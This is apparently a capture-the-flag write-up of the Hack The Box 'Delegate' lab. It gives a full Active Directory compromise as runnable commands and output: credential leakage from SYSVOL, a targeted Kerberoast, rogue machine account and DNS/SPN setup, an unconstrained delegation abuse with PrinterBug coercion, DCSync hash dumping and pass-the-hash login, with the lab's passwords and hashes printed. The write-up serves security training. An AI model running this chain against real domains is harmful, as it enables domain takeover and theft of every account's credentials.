Post

HTB Delegate CTF Writeup

A plaintext credential leaks from a SYSVOL logon script. GenericWrite over N.Thompson enables a targeted Kerberoast to crack his password, and his SeEnableDelegationPrivilege is used to stage an unconstrained delegation attack: a rogue machine account coerces DC authentication via PrinterBug, the captured TGT is relayed, and a DCSync dumps all hashes.

HTB Delegate CTF Writeup

HTB Delegate CTF

Config

Set /etc/hosts:

1
echo 10.129.90.178 dc1.delegate.vl dc1 delegate.vl | sudo tee -a /etc/hosts

SMB Enumeration

Guest authentication enabled:

1
2
3
4
5
6
7
8
9
10
11
$ nxc smb 10.129.90.178 -u 'guest' -p '' --shares
SMB         10.129.90.178   445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False)
SMB         10.129.90.178   445    DC1              [+] delegate.vl\guest: 
SMB         10.129.90.178   445    DC1              [*] Enumerated shares
SMB         10.129.90.178   445    DC1              Share           Permissions     Remark                                                                                
SMB         10.129.90.178   445    DC1              -----           -----------     ------                                                                                
SMB         10.129.90.178   445    DC1              ADMIN$                          Remote Admin                                                                          
SMB         10.129.90.178   445    DC1              C$                              Default share                                                                         
SMB         10.129.90.178   445    DC1              IPC$            READ            Remote IPC                                                                            
SMB         10.129.90.178   445    DC1              NETLOGON        READ            Logon server share                                                                    
SMB         10.129.90.178   445    DC1              SYSVOL          READ            Logon server share

I authenticated to the SYSVOL share, and located a suspicious “users.bat” script in the “scripts” folder:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ smbclient -U guest //dc1/sysvol
Password for [WORKGROUP\guest]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Sep  9 09:52:30 2023
  ..                                  D        0  Sat Aug 26 05:39:25 2023
  delegate.vl                        Dr        0  Sat Aug 26 05:39:25 2023
cd
                4652287 blocks of size 4096. 969184 blocks available
smb: \> cd delegate.vl 
lssmb: \delegate.vl\> ls
  .                                   D        0  Sat Aug 26 05:45:45 2023
  ..                                  D        0  Sat Aug 26 05:39:25 2023
  DfsrPrivate                      DHSr        0  Sat Aug 26 05:45:45 2023
  Policies                            D        0  Sat Aug 26 05:39:30 2023
  scripts                             D        0  Sat Aug 26 08:45:24 2023

                4652287 blocks of size 4096. 969184 blocks available
smb: \delegate.vl\> cd scripts
ls
smb: \delegate.vl\scripts\> ls
  .                                   D        0  Sat Aug 26 08:45:24 2023
  ..                                  D        0  Sat Aug 26 05:45:45 2023
  users.bat                           A      159  Sat Aug 26 08:54:29 2023

                4652287 blocks of size 4096. 969184 blocks available
smb: \delegate.vl\scripts\> get users.bat
getting file \delegate.vl\scripts\users.bat of size 159 as users.bat (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)

The script leaks both username and password:

image.webp

I saved the username to “users.txt” and the password to “passwords.txt” and attempted authentication. It was successful:

1
2
3
$ nxc smb dc1 -u users.txt -p passwords.txt 
SMB         10.129.90.178   445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False)
SMB         10.129.90.178   445    DC1              [+] delegate.vl\A.Briggs:P4ssw0rd1#123

I used the access to dump the password policy for the org to make sure not to lock any accounts:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ nxc smb dc1 -u a.briggs -p 'P4ssw0rd1#123' --pass-pol
SMB         10.129.90.178   445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False)
SMB         10.129.90.178   445    DC1              [+] delegate.vl\a.briggs:P4ssw0rd1#123
SMB         10.129.90.178   445    DC1              [+] Dumping password info for domain: DELEGATE
SMB         10.129.90.178   445    DC1              Minimum password length: 7
SMB         10.129.90.178   445    DC1              Password history length: 24
SMB         10.129.90.178   445    DC1              Maximum password age: 41 days 23 hours 53 minutes                                                                     
SMB         10.129.90.178   445    DC1              
SMB         10.129.90.178   445    DC1              Password Complexity Flags: 000001
SMB         10.129.90.178   445    DC1                  Domain Refuse Password Change: 0                                                                                  
SMB         10.129.90.178   445    DC1                  Domain Password Store Cleartext: 0                                                                                
SMB         10.129.90.178   445    DC1                  Domain Password Lockout Admins: 0                                                                                 
SMB         10.129.90.178   445    DC1                  Domain Password No Clear Change: 0                                                                                
SMB         10.129.90.178   445    DC1                  Domain Password No Anon Change: 0                                                                                 
SMB         10.129.90.178   445    DC1                  Domain Password Complex: 1
SMB         10.129.90.178   445    DC1              
SMB         10.129.90.178   445    DC1              Minimum password age: 1 day 4 minutes                                                                                 
SMB         10.129.90.178   445    DC1              Reset Account Lockout Counter: 30 minutes                                                                             
SMB         10.129.90.178   445    DC1              Locked Account Duration: 30 minutes                                                                                   
SMB         10.129.90.178   445    DC1              Account Lockout Threshold: None
SMB         10.129.90.178   445    DC1              Forced Log off Time: Not Set

You can see from the password policy that Account Lockout Threshold is set to none. Good for us.

I also enumerated the group policy information using nxc:

1
nxc smb dc1 -u A.Briggs -p 'P4ssw0rd1#123' -M gpp_privileges

It returned me a lot of information about the domain, and, more importantly, the SID S-1-5-21-1484473093-3449528695-2030935120-1108 has been granted SeEnableDelegationPrivilege as you can see from the snippet below:

1
GPP_PRIV... 10.129.90.178   445    DC1              SeEnableDelegationPrivilege: S-1-5-21-1484473093-3449528695-2030935120-1108, Administrators

This is highly unusual and potentially dangerous because:

  1. SeEnableDelegationPrivilege is an extremely sensitive privilege that allows an account to enable Kerberos delegation on other accounts and computers. This privilege should typically only be held by Domain Admins.

  2. This same SID also has SeBatchLogonRight, suggesting it might be a service account rather than an administrative account.

To discover what user the SID refers to, I used nxc rid brute:

1
$ nxc smb 10.129.90.178 -u N.Thompson -p KALEB_2341 --rid-brute 2000

And I could see the SID ending with “1108” in the output (n.thompson):

image.webp

LDAP Enumeration

I used the users-export function from nxc ldap to get all users in the domain to a file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ nxc ldap 10.129.90.178 -u A.Briggs -p 'P4ssw0rd1#123' --users-export users.txt
LDAP        10.129.90.178   389    DC1              [*] Windows Server 2022 Build 20348 (name:DC1) (domain:delegate.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.90.178   389    DC1              [+] delegate.vl\A.Briggs:P4ssw0rd1#123
LDAP        10.129.90.178   389    DC1              [*] Enumerated 8 domain users: delegate.vl
LDAP        10.129.90.178   389    DC1              -Username-                    -Last PW Set-       -BadPW-  -Description-                                              
LDAP        10.129.90.178   389    DC1              Administrator                 2023-08-26 11:46:29 0        Built-in account for administering the computer/domain     
LDAP        10.129.90.178   389    DC1              Guest                         <never>             0        Built-in account for guest access to the computer/domain   
LDAP        10.129.90.178   389    DC1              krbtgt                        2023-08-26 05:40:08 0        Key Distribution Center Service Account                    
LDAP        10.129.90.178   389    DC1              A.Briggs                      2023-08-26 08:55:15 0                                                                   
LDAP        10.129.90.178   389    DC1              b.Brown                       2023-08-26 08:55:15 0                                                                   
LDAP        10.129.90.178   389    DC1              R.Cooper                      2023-08-26 08:55:15 0                                                                   
LDAP        10.129.90.178   389    DC1              J.Roberts                     2023-08-26 08:55:15 0                                                                   
LDAP        10.129.90.178   389    DC1              N.Thompson                    2023-09-09 11:17:16 0                                                                   
LDAP        10.129.90.178   389    DC1              [*] Writing 8 local users to users.txt

No password reuse, unfortunately for us:

1
2
3
4
5
6
7
8
9
10
$ nxc ldap dc1 -u users.txt -p 'P4ssw0rd1#123' --continue-on-success
LDAP        10.129.90.178   389    DC1              [*] Windows Server 2022 Build 20348 (name:DC1) (domain:delegate.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.90.178   389    DC1              [-] delegate.vl\Administrator:P4ssw0rd1#123
LDAP        10.129.90.178   389    DC1              [-] delegate.vl\Guest:P4ssw0rd1#123
LDAP        10.129.90.178   389    DC1              [-] delegate.vl\krbtgt:P4ssw0rd1#123
LDAP        10.129.90.178   389    DC1              [+] delegate.vl\A.Briggs:P4ssw0rd1#123
LDAP        10.129.90.178   389    DC1              [-] delegate.vl\b.Brown:P4ssw0rd1#123
LDAP        10.129.90.178   389    DC1              [-] delegate.vl\R.Cooper:P4ssw0rd1#123
LDAP        10.129.90.178   389    DC1              [-] delegate.vl\J.Roberts:P4ssw0rd1#123
LDAP        10.129.90.178   389    DC1              [-] delegate.vl\N.Thompson:P4ssw0rd1#123

I also used the get-desc-users module in nxc ldap to make sure there’s no easy wins (like cleartext password in the description of the user object):

1
2
3
4
5
6
7
$ nxc ldap dc1 -u a.briggs -p 'P4ssw0rd1#123' -M get-desc-users
LDAP        10.129.90.178   389    DC1              [*] Windows Server 2022 Build 20348 (name:DC1) (domain:delegate.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.90.178   389    DC1              [+] delegate.vl\a.briggs:P4ssw0rd1#123
GET-DESC... 10.129.90.178   389    DC1              [+] Found following users: 
GET-DESC... 10.129.90.178   389    DC1              User: Administrator description: Built-in account for administering the computer/domain                               
GET-DESC... 10.129.90.178   389    DC1              User: Guest description: Built-in account for guest access to the computer/domain                                     
GET-DESC... 10.129.90.178   389    DC1              User: krbtgt description: Key Distribution Center Service Account

I tried kerberoasting and asreproasting too right away but got no results as you can see:

1
2
3
4
5
6
7
8
9
10
$ nxc ldap dc1 -u A.Briggs -p 'P4ssw0rd1#123' --kerberoast k.log
LDAP        10.129.90.178   389    DC1              [*] Windows Server 2022 Build 20348 (name:DC1) (domain:delegate.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.90.178   389    DC1              [+] delegate.vl\A.Briggs:P4ssw0rd1#123
LDAP        10.129.90.178   389    DC1              [*] Skipping disabled account: krbtgt
LDAP        10.129.90.178   389    DC1              [*] Total of records returned 0

$ nxc ldap dc1 -u A.Briggs -p 'P4ssw0rd1#123' --asreproast a.log
LDAP        10.129.90.178   389    DC1              [*] Windows Server 2022 Build 20348 (name:DC1) (domain:delegate.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.90.178   389    DC1              [+] delegate.vl\A.Briggs:P4ssw0rd1#123
LDAP        10.129.90.178   389    DC1              No entries found!

Bloodhound Enumeration

I collected bloodhound data using nxc:

1
$ nxc ldap 10.129.90.178 -u A.Briggs -p 'P4ssw0rd1#123' --bloodhound -c All --dns-server 10.129.90.178

First thing I like doing when analyzing bloohound data is to look for interesting and maybe accessible groups like “remote management users” or “remote desktop users”.

I looked for the “remote management users” and figured there’s only one user that’s member of the group (n.thompson).

I clicked on n.thompson and, on the right pane, selected “inbound object control” to find this:

image.webp

Our user, “a.briggs” has “GenericWrite” over n.thompson. Since it’s just “GenericWrite”, we don’t have many options other than a targeted kerberoast attack (https://github.com/ShutdownRepo/targetedKerberoast):

1
2
3
4
5
6
$ python3 targetedKerberoast.py -d delegate.vl -u a.briggs -p 'P4ssw0rd1#123' --dc-host dc1.delegate.vl
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (N.Thompson)

<SNIP>

I grabbed the hash returned by the output of the targetedKerberoast tool and proceeded to use hashcat to crack it:

1
> .\hashcat.exe ..\hashes\htb\delegate-kerberoast.txt ..\rockyou.txt -d 1

New credentials:

1
2
Username: N.Thompson
Password: KALEB_2341

Vertical Privilege Escalation

The attack path is clear now thanks to previous enumeration. We need to perform an unconstrained delegation attack.

First, let’s understand what delegation is and why it exists. Imagine you’re a user who logs into a web application, and that web application needs to access a database on your behalf. In Kerberos authentication, the web server needs some way to prove to the database server that it’s acting on your behalf. Delegation is the mechanism that allows this.

There are different types of delegation, but unconstrained delegation is the most powerful and dangerous. When a server is configured with unconstrained delegation, any time a user authenticates to that server, the server receives a copy of the user’s Ticket Granting Ticket (TGT). The TGT is like a master key that can be used to request access to any service in the domain on behalf of that user.

Here’s the high-level strategy: if the attacker can create a fake computer that has unconstrained delegation enabled, and then trick the Domain Controller into authenticating to that fake computer, they’ll capture the Domain Controller’s TGT. With the DC’s TGT, they can impersonate the DC and perform a DCSync attack to dump all password hashes.

Step 1: Creating a Machine Account

I used the credentials of N.Thompson, who had the SeEnableDelegationPrivilege, to create a new machine account called “bsec$”. This was possible because the MachineAccountQuota was set to 10, meaning any authenticated user could add computers to the domain. I set the password to “BehindSecurity@2025” (in order to match the domain’s password policy requirements) for this fake computer:

1
$ addcomputer.py -computer-name bsec -computer-pass 'BehindSecurity@2025' -dc-ip 10.129.90.178 delegate.vl/N.Thompson:'KALEB_2341'

Step 2: Adding the DNS Record

I needed the Domain Controller to be able to resolve the hostname of my fake computer to my attacking machine’s IP address. Using dnstool.py and LDAP authentication, I added an A record pointing “bsec.delegate.vl” to my IP at 10.10.14.224. This works because in Active Directory, authenticated users typically have permissions to create DNS records through LDAP operations:

image.webp

The command looks like this:

1
python3 dnstool.py -u 'delegate.vl\bsec$' -p 'BehindSecurity@2025' --action add --record bsec.delegate.vl --data 10.10.14.224 --type A -dns-ip 10.129.90.178 dc1.delegate.vl

Step 3: Adding a Service Principal Name (SPN)

I needed to give my fake computer a Service Principal Name, specifically “cifs/bsec.delegate.vl”. An SPN is like a service identifier in Kerberos that tells the authentication system what service is running on what host. The CIFS (Common Internet File System) service is what SMB uses, so this SPN would allow the fake computer to receive SMB authentication attempts:

image.webp

The command is:

1
python3 addspn.py -u 'delegate.vl\N.Thompson' -p 'KALEB_2341' -s 'cifs/bsec.delegate.vl' -t 'bsec$' -dc-ip 10.129.90.178 dc1.delegate.vl --additional

And then

1
python3 addspn.py -u 'delegate.vl\N.Thompson' -p 'KALEB_2341' -s 'cifs/bsec.delegate.vl' -t 'bsec$' -dc-ip 10.129.90.178 dc1.delegate.vl

Step 4: Enabling Unconstrained Delegation

Here’s where the SeEnableDelegationPrivilege comes in. This privilege allowed the me to modify the userAccountControl attribute of the fake computer account to add the TRUSTED_FOR_DELEGATION flag. This is the critical step that enables unconstrained delegation on the fake computer:

image.webp

The command:

1
bloodyAD -d delegate.vl -u N.Thompson -p KALEB_2341 --host dc1.delegate.vl add uac 'bsec$' -f TRUSTED_FOR_DELEGATION

Step 5: Setting Up the Relay

I ran krbrelayx.py, which acts as a relay server. This tool listens for incoming authentication attempts and, because the fake computer is configured with unconstrained delegation, will capture any TGTs that come with those authentication attempts.

First, I used an online tool (https://codebeautify.org/ntlm-hash-generator) to generate a ntlm hash for the computer account password:

image.webp

I started krbrelayx, passing the ntlm hash:

1
python3 krbrelayx.py -hashes :B4B83CF8C09D86ED23D20B9BDCD9AF26

Step 6: Coercing Authentication

I used the PrinterBug (also known as the Printer Spooler bug) to force the Domain Controller to authenticate to the fake computer. PrinterBug is a feature in Windows where you can tell the print spooler service on a remote computer to connect back to you for change notifications. When the DC’s computer account authenticates to the fake computer, it includes its TGT because the fake computer has unconstrained delegation enabled. I used NetExec to coerce authentication:

1
nxc smb dc1.delegate.vl -u 'bsec$' -p BehindSecurity@2025 -M coerce_plus -o LISTENER=bsec.delegate.vl METHOD=PrinterBug

Step 7: Capturing the TGT

When the DC authenticated, krbrelayx captured the DC’s TGT and saved it to a file. This TGT is like having temporary credentials for the DC’s machine account:

image.webp

Step 8: DCSync Attack

With the DC’s TGT, I could impersonate the DC’s machine account. Domain Controllers have replication privileges that allow them to request password data from each other. I used this captured TGT to perform a DCSync attack, which asks the DC to replicate all password hashes. Since I was presenting valid DC credentials (via the TGT), the DC complied and handed over all the NTLM hashes, including Administrator’s.

First, export ticket to correct variable:

1
$ export KRB5CCNAME=./DC1\[email protected][email protected]

And perform DCSYNC:

1
2
3
4
5
6
7
8
9
10
11
12
$ secretsdump.py -k dc1.delegate.vl
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c32198ceab4cc695e65045562aa3ee93:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:54999c1daa89d35fbd2e36d01c4a2cf2:::
A.Briggs:1104:aad3b435b51404eeaad3b435b51404ee:8e5a0462f96bc85faf20378e243bc4a3:::

<SNIP>

Log in as Administrator via winrm:

1
$ evil-winrm -i dc1 -u administrator -H c32198ceab4cc695e65045562aa3ee93
This post is licensed under CC BY 4.0 by the author.